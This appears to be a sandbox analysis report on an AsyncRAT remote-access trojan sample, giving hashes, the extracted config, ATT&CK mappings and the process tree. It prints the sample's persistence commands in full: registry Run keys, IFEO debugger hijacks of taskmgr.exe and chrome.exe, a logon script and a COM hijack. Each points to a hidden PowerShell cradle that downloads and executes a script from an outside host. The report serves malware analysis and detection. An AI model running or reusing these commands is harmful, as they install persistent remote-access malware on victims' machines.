asyncrat | 9bc564c6546b535a3407e5766688fa1c8e6345eded82bc9bfe7d8ac840666fd7

General

Target
kiwi toi choi112.exe
Size 66KB
Sample261001-ls2m2avakd
SHA256 9bc564c6546b535a3407e5766688fa1c8e6345eded82bc9bfe7d8ac840666fd7
MD5 47fbfd7c3869c665ea06ab91712574cb
SHA1 186c4cf6155c05279454eb343ba2e824445a2351
SHA512 afc462be5dbe74a696fd80667bbdc314844cd7ec8e76737099561fb40ee9470d11ef501e6f97b3d455ddc689958a885991abc45fc89c9fd329df060058ac1b2d
SSDEEP 768:Kv7RJO/30h/ffCtak4ZMgRezMYyC8q9wwTVi+BA0jnE2DebygDigTWhkvOjp9W/w:O03w1kRQYyjxW92b1FCSw9+wpJpLT5x
TLSH
T14F633A043BE8452BF2BE4BBD98F222484679FA236512DE8D1CD411DA0673B85DE417BF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence privilege_escalation rat

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://tsntxe2.buzz/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

Mutex

AIYQYKdJljIh

Attributes

delay
3
install
false
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
34	5888	powershell.exe
35	5888	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5888	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	kiwi toi choi112.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdateSvc = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdateOnce = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\""	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5256	cmd.exe
2304	cmd.exe
3308	cmd.exe
1480	cmd.exe
760	cmd.exe
964	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	kiwi toi choi112.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	kiwi toi choi112.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kiwi toi choi112.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\Temp\\payload.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\WOW6432Node	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\WOW6432Node\CLSID	reg.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5712	kiwi toi choi112.exe
5888	powershell.exe
5888	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5712	kiwi toi choi112.exe
Token: SeDebugPrivilege	5888	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5712 wrote to memory of 5256	5712	kiwi toi choi112.exe	91
PID 5712 wrote to memory of 964	5712	kiwi toi choi112.exe	93
PID 5712 wrote to memory of 1480	5712	kiwi toi choi112.exe	95
PID 5712 wrote to memory of 760	5712	kiwi toi choi112.exe	97
PID 5712 wrote to memory of 2304	5712	kiwi toi choi112.exe	99
PID 5256 wrote to memory of 5528	5256	cmd.exe	101
PID 5712 wrote to memory of 3308	5712	kiwi toi choi112.exe	102
PID 964 wrote to memory of 3360	964	cmd.exe	104
PID 1480 wrote to memory of 2244	1480	cmd.exe	107
PID 760 wrote to memory of 6008	760	cmd.exe	108
PID 2304 wrote to memory of 1876	2304	cmd.exe	109
PID 3308 wrote to memory of 1512	3308	cmd.exe	110

C:\Users\Admin\AppData\Local\Temp\kiwi toi choi112.exe
"C:\Users\Admin\AppData\Local\Temp\kiwi toi choi112.exe"
1⤵
- Checks computer location settings
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5256
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:5528
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:964
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3360
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:2244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:6008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:1876
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:1512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Boot or Logon Initialization Scripts

1

T1037

Logon Script (Windows)

1

T1037.001

Event Triggered Execution

2

T1546

Component Object Model Hijacking

1

T1546.015

Image File Execution Options Injection

1

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Boot or Logon Initialization Scripts

1

T1037

Logon Script (Windows)

1

T1037.001

Event Triggered Execution

2

T1546

Component Object Model Hijacking

1

T1546.015

Image File Execution Options Injection

1

T1546.012

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_2010cgcn.emn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2010cgcn.emn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5712-0-0x0000000000500000-0x0000000000516000-memory.dmp

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memory/5712-1-0x0000000004FA0000-0x0000000004FB0000-memory.dmp

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memory/5712-2-0x0000000004FA0000-0x0000000004FB0000-memory.dmp

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memory/5888-3-0x000001A8BD090000-0x000001A8BD0B2000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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